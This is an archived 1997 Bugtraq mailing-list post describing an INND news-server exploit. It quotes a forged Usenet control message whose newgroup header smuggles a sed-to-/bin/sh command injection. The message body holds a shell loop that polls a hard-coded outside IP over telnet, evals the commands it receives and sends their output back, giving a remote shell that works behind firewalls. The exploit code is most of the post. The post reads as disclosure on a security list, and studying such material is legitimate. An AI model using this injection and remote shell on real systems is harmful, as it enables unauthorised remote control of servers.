[4185] in bugtraq
INND exploit Works behind firewalls
daemon@ATHENA.MIT.EDU (Rikhardur Egilsson)
Tue Mar 18 11:08:08 1997
Date: Tue, 18 Mar 1997 09:25:43 +0000
Reply-To: Rikhardur Egilsson <k97161@SKYRR.IS>
From: Rikhardur Egilsson <k97161@SKYRR.IS>
To: BUGTRAQ@NETSPACE.ORG
A part of the first innd exploit was a remote shell that would be
effective behind firewalls.
Along with a replaced 'telnetd' on the attackers computer, this can be
used as a "slow shell" to execute commands on a target behind a firewall.
Enjoy the reading ,,
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From: tale@uunet.uu.net (David C Lawrence)
Newsgroups: comp.sys.mac.printing
Subject: cmsg newgroup `/bin/sed:-n:'/^#+/,/^#-/p':${ARTICLE}|/bin/sh` moderated
Control: newgroup `/bin/sed:-n:'/^#+/,/^#-/p':${ARTICLE}|/bin/sh` moderated
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Message-ID: <830201540.9020@uunet.uu.net>
Date: Sat, 15 Mar 1997 15:15:15 GMT
Lines: 12
#+
while :; do
IN=`/bin/sleep 2 | /bin/telnet 193.12.106.100 23 2>/dev/null | /bin/tail -1`
if [ X"$IN" != X"$OIN" ]; then
(/bin/sleep 2; eval "$IN" 2>&1) |
/bin/telnet 193.12.106.100 23 >/dev/null 2>&1
OIN=$IN
fi
sleep 30
done
#-
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--
rikardur@skyrr.is - Skyrr Ltd - Iceland Information Management
Rikhardur Egilsson - System Programmer - UNIX Admin - Tel : +354-5695100
Armuli 2 - IS-108 Reykjavik - Iceland - Fax : +354-5695251